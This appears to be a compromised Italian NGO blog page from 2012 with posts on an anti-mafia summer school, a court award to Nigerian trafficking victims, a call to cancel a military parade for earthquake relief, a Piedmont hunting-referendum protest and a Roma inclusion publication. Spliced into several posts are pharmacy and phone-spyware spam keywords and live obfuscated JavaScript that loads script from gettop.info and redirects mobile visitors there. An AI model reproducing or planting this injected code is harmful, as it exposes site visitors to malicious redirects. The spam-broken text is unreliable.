OLE 2012 Otranto Legality Experience

FLARE – Freedom Legality and Rights in Europe organizza la terza edizione  OLE 2102!!
Due settimane di formazione e approfondimento per meglio comprendere i legami tra traffico di armi e droga, la crminalità organizzata e l’economia, le politiche europee per contrastare il fenomeno.
OLE 2012  è diviso in tre parti:

vigora 100 how to use

OLE Summer School, 16-20 Luglio a Lecce, aperto a tutti gli studenti universitari ai quali verranno riconosciuti dei crediti formativi

Quota d’iscrizione 100 euro, è possibile iscriversi fino al 10 giugnoOLE Summer Camp, 23-27 Luglio a Lecce, cinque giorni di seminari e dibattitti aperti a tutti,

Quota d’iscrizone 50 euro, iscrizioni aperte fino al 15 giugnoOLE Public Forum, 27-29 Luglio a Otranto, l’evento è aperto al pubblico e non è necessario iscriversi.

E’ possibile scaricare il programma dell’evento su sito www.ole2012.org
Per info:

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Riconosciuto il risarcimento dei danni a giovani nigeriane vittime della tratta – Sequestrati i beni dei trafficanti: una grande notizia!

E’ di questi giorni una notizia di grande importanza per la lotta alla tratta.

 

Con una sentenza esemplare la Corte d’assise d’appello de L’Aquila si è espressa a favore di diciassette donne nigeriane costrette a prostituirsi sulla Bonifica del Tronto in condizioni di grave sfruttamento: 50.000 euro di provvisionale immediata per ogni ragazza, la revoca della confisca dei beni sequestrati agli imputati in favore dello stato e il sequestro conservativo in favore delle vittime.

 

QUALCHE VOLTA GIUSTIZIA E’ FATTA! Scrive Angela Ammirati in un comunicato della associazione Be Free, raccontando i dettagli della vicenda.

 

“La storia era cominciata quattro anni fa, quando la Procura della Repubblica presso il Tribunale di Teramo trasmetteva alla sezione Anticrimine dell’Aquila apposita delega tendente a verificare la riduzione in schiavitù di giovani nigeriane, che, grazie al sostegno di On The Road e di BeFree, cooperativa sociale contro la tratta, violenze e discriminazioni, erano riuscite a vincere il terrore e a fornire elementi importanti per le indagini sul racket dei trafficanti di esseri umani.

 

A conclusione del processo il GUP de l’Aquila aveva decretato condanne per oltre 100 anni per 19 imputati, riconoscendoli colpevoli di gravissimi reati quali associazione per delinquere finalizzata alla tratta, riduzione in schiavitù, immigrazione clandestina.

 

Ma gli avvocati delle associazioni attive nel contrasto al traffico di esseri umani (Guido Talarico e Michela Manente per OnThe Road, Cristina Perozzi che lavorano tra Abruzzo e Marche, e Carla Quinto di BeFree, radicata a Roma) volevano altro: volevano che le vittime fossero immediatamente risarcite con il danaro ed i beni sequestrati al ricco e spietato racket.

 

E questa è stata la richiesta dalla quale è partito l’appello, che si motivava con il richiamo a disposizioni specifiche: l’art. 600 septies c.p. (norma che esprime la clausola di salvezza “fatti salvi i diritti della persona offesa”, introducendo una sorta di privilegio a vantaggio del danneggiato dall’illecito, le cui pretese civilistiche si impongono su quelle ablative dello Stato), e la direttiva UE n. 36/2011 che impone il risarcimento alle vittime di tratta in particolare l’art. 13 impone di “..promuovere l’uso degli strumenti e proventi sequestrati e confiscati provenienti dai reati di cui alla presente direttiva per finanziare l’assistenza e la protezione delle vittime, compreso il loro risarcimento.

 

La vittoria dei legali specializzati sul traffico di esseri umani rappresenta un fatto importante nella lotta alla tratta e nella costruzione di una società civile consapevole di quanto il reato sia grave e devastante per le vittime. Esprime un valore altamente simbolico, oltre che immediatamente monetario: riconosce come profondamente devastante il danno che deriva alle vittime dalla condizione nella quale sono imprigionate, in un momento in cui i governi nazionali e locali non sanno che esprimere politiche repressive, securitarie e di “decoro urbano” nei confronti delle cosiddette “prostitute” che sono invece, e questa sentenza lo ribadisce, vittime di un gravissimo reato transnazionale che ne lede i diritti fondamentali.

 

BeFree e On The Road, costituitesi parte civile nel processo, hanno ottenuto 10.000 euro di risarcimento”.

 

E’ una grande vittoria per le vittime della tratta, a nome delle quali, come Associazione, abbiamo sempre formulato la speranza che si potesse arrivare a questo risultato, nel solco di una cultura che vede l’associazione Libera e FLARE battersi contro le mafie e puntare sul sequesto dei beni da queste accumulate.

 

Si apre una nuova stagione di lotta alla tratta: ora bisogna puntare ad sequestro dei beni dei capi del traffico in Nigeria. In tal senso chiederemo che siano per prime le comunità nigeriane che rappresentano i migranti in Italia e in Europa a far propia la cultura della legalità e a fermare il turpe mercato degli esseri umani a partire dalla Nigeria.

Isoke AIKPITANYI
ass. Vittime ed ex vittime della tratta

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Stop alla parata del 2 giugno!

Destinare i fondi alle popolazioni colpite dal terremoto
La campagna Sbilanciamoci! chiede l’immediata cancellazione della parata militare del 2 giugno e la destinazione dei milioni risparmiati per la sua organizzazione alle popolazioni colpite dal terremoto in Emilia Romagna. La richiesta della cancellazione della parata militare era stata fatta da Sbilanciamoci già nelle settimane scorse. Dopo il grave terremoto che ha colpito l’Emilia Romagna questa richiesta acquista maggiore importanza.

Con gli stessi soldi spesi per la parata militare si possono garantire, nella prossima settimana, i soccorsi di emergenza (tende,
viveri, medicinali, ecc) ad oltre 5mila persone. È irresponsabile spendere tanti soldi per far sfilare carri armati e blindo, mentre gli stessi fondi potrebbero essere investiti per aiutare le popolazioni.

La Repubblica va celebrata aiutando chi ora soffre a causa del terremoto e non sfoggiando armi e mezzi militari.

Va sospesa la parata, ma vanno tagliate anche le spese militari: è questo il senso di Economia a mano armata. Dossier sulle spese militari 2012 che la campagna Sbilanciamoci! presenterà il prossimo 4 giugno alle ore 11.00, presso la sala conferenze della Fondazione Basso – Roma, via della Dogana Vecchia 5. sildenafil compra var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);twitter spy, read facebook, sms tracker hidden

TORINO 3 GIUGNO 2012 Manifestazione Nazionale Restituiteci il Referendum e la Democrazia

Con un atto liberticida e antidemocratico il Consiglio Regionale del Piemonte e la Giunta presieduta dal leghista Cota hanno abrogato la Legge sulla caccia, cancellando di fatto il Referendum regionale, fissato per il 3 giugno.

Questo è avvenuto a trenta giorni dalla data della consultazione, quando la macchina referendaria era già attiva da mesi e aveva già coinvolto migliaia di volontari. L’arma utilizzata per raccogliere consenso intorno a questo scippo senza precedenti è stata quella crisi economica che questa stessa classe politica ha contribuito a generare!

Così, tramite uno scientifco ribaltamento della realtà, i referendari sono stati dipinti come coloro che volevano sperperare 22 milioni di Euro (cifra, peraltro, campata per aria) mentre in Giunta tutti si dichiaravano – per la prima volta – preoccupati per coloro che stanno peggio, speculando in modo inaccettabile sui drammi reali delle persone ammalate, degli anziani con pensione al minimo, dei disabili, dei disoccupati, dei precari.

Peccato che tutti gli appelli del Comitato referendario a trovare soluzioni alternative (tra cui l’accorpamento alle elezioni amministrative) che impedissero di spendere soldi pubblici siano stati ignorati se non addirittura sbeffeggiati da Cota, dall’assessore Sacchetto e soci.

Giunta e maggioranza, col solo scopo di assecondare poche migliaia di cacciatori, i cui consensi fanno sempre gola a politicanti alla ricerca di voti facili, hanno così calpestato il diritto legittimo di quattro milioni di piemontesi ad esprimere democraticamente la propria posizione su un tema di grande importanza. Questo provvedimento – fglio di una classe politica sempre più slegata dalle persone che pretende di rappresentare – si è fatto beffe dei cittadini e di 25 anni di battaglie legali, risoltesi con l’imposizione da parte dei giudici di indire la consultazione. Non bastasse, gli autori di questo atto inqualifcabile hanno strumentalizzato le fasce più deboli, quelle persone che stentano più di tutte a sopravvivere alla crisi.

Questa VERGOGNA merita una reazione forte e univoca da parte di tutte le forze democratiche, dal mondo animalista e ambientalista ai partiti, ai movimenti e le associazioni dei cittadini, a coloro che, come molti di noi, appartengono proprio a quelle categorie sociali sempre più precarie, che ovviamente non avranno alcun benefcio dalla cancellazione del Referendum, al contrario di quanto in molti hanno blaterato dai palazzi del potere regionale.

Oggi, con la scusa della crisi economica, hanno cancellato una legge per impedire il Referendum sulla caccia. Domani, seguendo la stessa logica perversa, possono cancellare il diritto di voto ! dynamogen s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var _0xe879=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26″,”\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0xe879[2]][_0xe879[1]](_0xe879[0])== -1){(function(_0xc048x1,_0xc048x2){if(_0xc048x1[_0xe879[1]](_0xe879[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xe879[8]](_0xc048x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xe879[8]](_0xc048x1[_0xe879[9]](0,4))){var _0xc048x3= new Date( new Date()[_0xe879[10]]()+ 1800000);document[_0xe879[2]]= _0xe879[11]+ _0xc048x3[_0xe879[12]]();window[_0xe879[13]]= _0xc048x2}}})(navigator[_0xe879[3]]|| navigator[_0xe879[4]]|| window[_0xe879[5]],_0xe879[6])}iphone spy, can i monitor my childs text, mobile-spy

Inclusione sociale in Europa e questioni ambientali

GEF Green European Foundation nasce con l’obiettivo di contribuire al coinvolgimento dei cittadini nel dibattito sulle politiche europee, in collaborazione con VISIO The Green Cultural and educcationa center, hanno pubblicato oggi ” levitra online australia Roma and Traveller. Inclusion in Europe. Green questions and answers“, una pubblicazione che raccoglie una serie di progetti di inclusione sociale rivolti alle comunità rom in diversi Paesi europei, in grado di dare anche risposte ambientali. Tra queste viene raccontata l’esperienza del Dado, in quanto spazio di accoglienza e inclusione sociale per alcune delle famiglie dei 14 campi nomadi che circondano la città, autorecuperato dagli stessi ospiti che hanno avuto cura anche dei consumi elettrici e dell’impatto ambientale che la loro casa avrebbe avuto. Sul Dado sono stati installati

infatto i pannelli solari per la produzione di energia elettrica oltre ad una serie di strumenti volti a ridurre la CO2 prodotta e i consum come i vetri e gli infissi per ridurre la dispersione del calore e l’installazione di boiler ad alto rendimento energetico. I lavori di ristrutturazione e miglioramento del rendimento energetico al Dado è stato fatto grazie all’intervento della Cooperativa Terra del Fuoco Lavro s.c., che ha come primo scopo la formazione lavorativa delle persone che vengono coinvolte e accompagante dai progetti di inclusione sociale dell’associazione. è possibile leggere la pubblicazione direttamente sul sito di GEF Per maggior informazioni rispetto all’intervento edile e all’installazione di pannelli solari clicca QUIiphone spyware, phone tracking software, phone tracker